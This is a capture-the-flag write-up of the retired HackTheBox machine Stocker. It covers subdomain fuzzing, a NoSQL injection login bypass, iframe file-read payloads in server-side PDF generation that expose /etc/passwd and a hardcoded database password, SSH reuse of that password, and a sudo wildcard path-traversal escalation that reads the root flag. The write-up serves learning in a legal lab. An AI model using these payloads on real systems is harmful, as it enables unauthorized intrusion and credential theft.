️📦 HackTheBox: Stocker

HackTheBox | Machines | Easy | Stocker


#hack-the-box #nosqli #ssti

Stocker is one of HackTheBox's Easy machines, now retired (hence this inaugural writeup.)

Kicking things off with a traditional nmap:

 nmap -sC -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-13 22:02 GMT
Nmap scan report for
Host is up (0.0098s latency).
Not shown: 998 closed tcp ports (conn-refused)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
|   256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_  256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.31 seconds

The HTTP site running on port 80 gives us a hostname; another addition to /etc/hosts and we're in…and it appears to be horrid, lazy-loading IKEA wannabe. Perfect.

The site itself seems to have little in the way of user input to exploit. Using ffuf to scan for subdomain discovery turns up dev.stocker.htb:

ffuf \
>    -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt \
>    -u http://stocker.htb/ \
>    -H "Host: FUZZ.stocker.htb" \
>    -mc 200,301,302

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/


 :: Method           : GET
 :: URL              : http://stocker.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/deepmagic.com-prefixes-top50000.txt
 :: Header           : Host: FUZZ.stocker.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,302

dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 16ms]
:: Progress: [49928/49928] :: Job [1/1] :: 3413 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

…which immediately redirects to /login; the site's headers at least expose that it's Node-/Express-based:

└──╼ #curl http://dev.stocker.htb/login \
>     --include \
>     --head
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 13 Jul 2023 18:01:56 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2667
Connection: keep-alive
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 06 Dec 2022 09:53:59 GMT
ETag: W/"a6b-184e6db4279"
Set-Cookie: connect.sid=s%3A9SDa_ScegrHhuk2ZKZihXYd2RS2iY5K8.aoA81ZckZZ%2BIh%2Bj7v3XW%2FcPxYRsE%2FwmvAHFSmOZr29w; Path=/; HttpOnly

The form itself doesn't appear to be vulnerable to SQLi. The data is sent as a standard HTML form:


but it doesn't seem to mind accepting JSON, either: by updating the Content-Type header to application/json and sending {"admin": "admin", "password": "password"} results in exactly the same problem. That doesn't improve the SQLi situation but it does expose another avenue…

Taking more than a hint from HackTricks' page on NoSQL Injection:

└──╼ #curl http://dev.stocker.htb/login \
>    --include \
>    --request POST \
>    --header "content-type: application/json" \
>    --data-raw '{"username": {"$ne": null}, "password": {"$ne": null} }'
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 13 Feb 2023 22:16:29 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
X-Powered-By: Express
Location: /stock
Vary: Accept
Set-Cookie: connect.sid=s%3A9ky8Z--1FN78hQ1EXnBQx1BCvhcCZx5T.94Zdxo7no1vHL%2BN%2FKdt3gaBvKNc%2FdoRcY4uLYbbG3wc; Path=/; HttpOnly

Found. Redirecting to /stock

Armed with that cookie, access is granted to the effacious Buy Stock Now! page.

Placing an order results in a series of API calls, ending in a final request which returns a PDF:


…the API call for which can be replicated via:

 curl http://dev.stocker.htb/api/order \
  --request POST \
  --include \
  --header "cookie: connect.sid=s%3A9ky8Z--1FN78hQ1EXnBQx1BCvhcCZx5T.94Zdxo7no1vHL%2BN%2FKdt3gaBvKNc%2FdoRcY4uLYbbG3wc" \
  --header "content-type: application/json" \
  --data-raw '{"basket":[{ "_id": "638f116eeb060210cbd83a8d", "title": "Cup", "description": "It'\''s a red cup.", "image": "red-cup.jpg", "price": 32, "currentStock": 4, "__v": 0 } ]}'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 13 Feb 2023 22:33:46 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: keep-alive
X-Powered-By: Express
ETag: W/"35-djyU+27H8TRiGh1AzsSVisDwuAw"


It's reasonable to make some assumptions about the PDF generation, server-side; assumptions that are, thankfully, pretty well documented—again—on HackTricks' page on Server Side XSS (Dynamic PDF).

After experimenting with various of the input fields listed above, it seems that the title field offers a fair vulnerability; replacing its contents with:

<iframe src=file:///etc/passwd height=750 width=750></iframe>

…proudly displays the contents of /etc/passwd in the resulting PDF. However, that's not the most useful thing ever, as it turns out. It might be possible to infer something about the location of the site on the server; however, it's equally possible to make an educated guess: it's dev.stocker.htb, it's JavaScript, it's NGINX: /var/www/dev/index.js, anyone?

<iframe src=file:///var/www/dev/index.js height=750 width=750></iframe>

The resulting PDF can then be downloaded, based on the orderId received:

 curl http://dev.stocker.htb/api/po/63eabaca230e6010f2819858 \
  --request GET \
  --include \
  --header "cookie: connect.sid=s%3A9ky8Z--1FN78hQ1EXnBQx1BCvhcCZx5T.94Zdxo7no1vHL%2BN%2FKdt3gaBvKNc%2FdoRcY4uLYbbG3wc"  \
  --output htb.pdf

Using pdftotext makes reading things a little easier and the PDF contains this little nugget:

// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?

However, those credentials don't actually work; recall that earlier I said the contents of /etc/passwd weren't useful? Yeah…

/etc/passwd has only one real target: a user called angoose. Coupled with the above password, we're in*:

 ssh angoose@stocker.htb
angoose@stocker.htb's password:
angoose@stocker:~$ cat user.txt

Thankfully, a classic sudo -l shows promise:

angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

Wildcard? Nice. Firstly, touch /tmp/root.txt; then create a file /tmp/htb.js:

const fs = require("child_process").spawn("cp", ["/root/root.txt", "/tmp/root.txt"])

The above will copy the contents of the root flag into the already-existing /tmp/root.txt (there are other ways to get a root shell but this minimises changes to the system.)

When the above is executed:

angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/htb.js
angoose@stocker:~$ cat /tmp/root.txt

Stocker has been Pwned!